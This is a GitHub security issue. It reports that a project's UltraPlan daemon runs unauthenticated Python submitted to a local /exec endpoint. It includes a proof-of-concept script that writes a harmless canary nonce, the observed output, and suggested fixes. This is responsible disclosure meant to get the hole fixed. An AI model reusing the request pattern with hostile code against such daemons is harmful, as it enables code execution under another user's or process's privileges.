Skip to content

UltraPlan /exec daemon accepts unauthenticated local code submissions #729

Description

@EvolveAegis

What

When the opt-in UltraPlan daemon starts, it binds 127.0.0.1:47831 and its POST /exec handler runs caller-supplied code through exec(compile(req.get("code",""),...)) with no per-start token or auth check — the handler checks only self.path == "/exec" (assets/ga_ultraplan.py:73, sink at :82, bind at :96, at commit eff6802b56b48a97fba2fb3335c404f6dd1c7c0d). Any local process that can reach the loopback port can submit Python and have it executed by the daemon. The daemon is started by --daemon, but plan() also auto-spawns it in the background via _show() (:108) the first time it is used, so an explicit --daemon invocation is not the only entry point.

How to reproduce

Start the daemon in one shell:

GA_ULTRAPLAN_BROWSER=0 python assets/ga_ultraplan.py --daemon

From a second shell, POST a harmless canary that writes a fresh nonce to a temp file — no token, no cookies, no headers beyond Content-Type:

import json, tempfile, urllib.request, uuid
from pathlib import Path

nonce = "LOCAL_CANARY_" + uuid.uuid4().hex
marker = Path(tempfile.gettempdir()) / ("genericagent-" + uuid.uuid4().hex + ".txt")
code = "from pathlib import Path; " f"Path({str(marker)!r}).write_text({nonce!r})"
req = urllib.request.Request(
    "http://127.0.0.1:47831/exec",
    data=json.dumps({"rundir": str(marker.parent), "code": code}).encode(),
    headers={"Content-Type": "application/json"}, method="POST")
print(urllib.request.urlopen(req).read().decode())
print(marker.read_text())

Observed (run against eff6802b56b48a97fba2fb3335c404f6dd1c7c0d):

{"returncode": 0, "stdout": "", "stderr": ""}
LOCAL_CANARY_ee7619a112fa4a8b9c847e2b01e29f28

The request is accepted with no credentials and the marker file contains the nonce, so the unauthenticated handler reached the exec sink.

Impact / scope

The direct effect is Python execution in the daemon process. On a single-user dev box a same-user process can already run code, so the severity is modest in that shape; it matters more if the daemon runs under a different principal than the caller — a different OS user, a sandboxed app, or a container that can reach the host loopback. Not claiming a browser, DNS-rebinding, Private Network Access, or remote-network delivery path; the bind is loopback only.

Suggested change

Mint a high-entropy per-start secret and require it on every /exec request with hmac.compare_digest; prefer a Unix-domain socket with restrictive permissions, or replace the raw code field with structured operations. Happy to open a PR.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions